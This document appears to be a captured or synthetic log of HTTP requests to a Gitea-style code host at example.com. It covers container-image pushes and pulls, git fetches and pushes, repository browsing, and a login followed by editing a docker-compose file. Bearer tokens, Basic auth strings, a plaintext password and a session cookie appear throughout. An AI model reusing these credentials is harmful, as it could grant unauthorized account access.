{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 144", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "H4sIAAAAAAAE/+zRQQoCIRTG8bfuFJ6g+Wu+8TwughYDymTQ8YOaNhK0More+y1E3ej35VonGTwASVV4TL8CiNeQFB9jQvAcohenQ1+1uZxbXp2TtZS2Hb307v5H5Vqn03FZyr5dR/0PYI6x7/25B+au/xDw4vhEpn/e/7373fiYjTHGfJfbAH2FcNwACgAA"}
|
||||||
|
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu?digest=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 233", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "{\"architecture\":\"\",\"created\":\"0001-01-01T00:00:00Z\",\"history\":[{\"created\":\"0001-01-01T00:00:00Z\"}],\"os\":\"\",\"rootfs\":{\"type\":\"layers\",\"diff_ids\":[\"sha256:19e75beae854ceb749acf78607bea3b2c0b04b74bbcc28f15e846683cf8e0b9d\"]},\"config\":{}}"}
|
||||||
|
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l?digest=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
|
||||||
|
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "HEAD", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
||||||
|
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
||||||
|
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
|
||||||
|
{"method": "GET", "target": "/v2/alice/python3-app/tags/list?n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/v2/alice/python3-app/tags/list?last=1.0&n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 473"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want 4b5ec1aab65272b63b5b1f39bfc2c14684c063a0\n0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want f7ffa60396d99f61315a5a9a225fc32eb6228fdb\n0032want bbe5223a9a4f84e7c3d7206f4bdd062239e8309b\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0009done\n0000"}
|
||||||
|
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 519"], "body": "MDBiZDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgY2M0ZDVlMDVlMWIzMTg0ZjQ3MTZlZDE1OGQyNWI4Y2ZhZTM4NzU0MyByZWZzL2hlYWRzL2RvY2tlci1idWlsZAAgcmVwb3J0LXN0YXR1cy12MiBzaWRlLWJhbmQtNjRrIHF1aWV0IG9iamVjdC1mb3JtYXQ9c2hhMSBhZ2VudD1naXQvMi40OS4xLUxpbnV4MDAwMFBBQ0sAAAACAAAABJENeJyVi10KwjAQBt9zirwLkp+2mwURffcSm80XLLS2tBE8vvUIzsvAwLQNsIQsA+D7mAjJkfOSMVTppEKZNUCVAwezyoZXs445yBA4KpFGVF9ZUomUibqCUjSjBoRo5N2ey2bv06iwF/npho/M64SzLvPVeuIupuD73p7cgTnqPLaGvybzGPdm6zhhN18fLT8K8AKeTXt+RMTzqiOmBNVYae5fWGAYnHice8b0jGmDCaOIb2jBcr50ZZ79x/sfSmXMOBZVkFs42YNRDgDQmAyf9gKBbcdPQPqMH4Wr8ShABeE9G0Q2EXic62RcwzjBRCYns7hErziDQav39///EVurZi0SCOP5u3X/31Yu/om6MQA3nhDoN3icyylW0M1J5AIACRECBP3ERXDJ4M4Guqo/ktYk+wdQ6W4g"}
|
||||||
|
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 193"], "body": "00bdcc4d5e05e1b3184f4716ed158d25b8cfae387543 0000000000000000000000000000000000000000 refs/heads/docker-build\u0000 report-status-v2 side-band-64k quiet object-format=sha1 agent=git/2.49.1-Linux0000"}
|
||||||
|
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/repos", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/users?q=alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users?q=alice", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/raw/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases/tag/v1.1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/generic/tools/1.2.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases/download/v1.1.0/tools-linux-amd64.tar.gz", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases/download/v1.2.0/install-script.sh", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
|
||||||
|
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/generic/install-script/1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
||||||
|
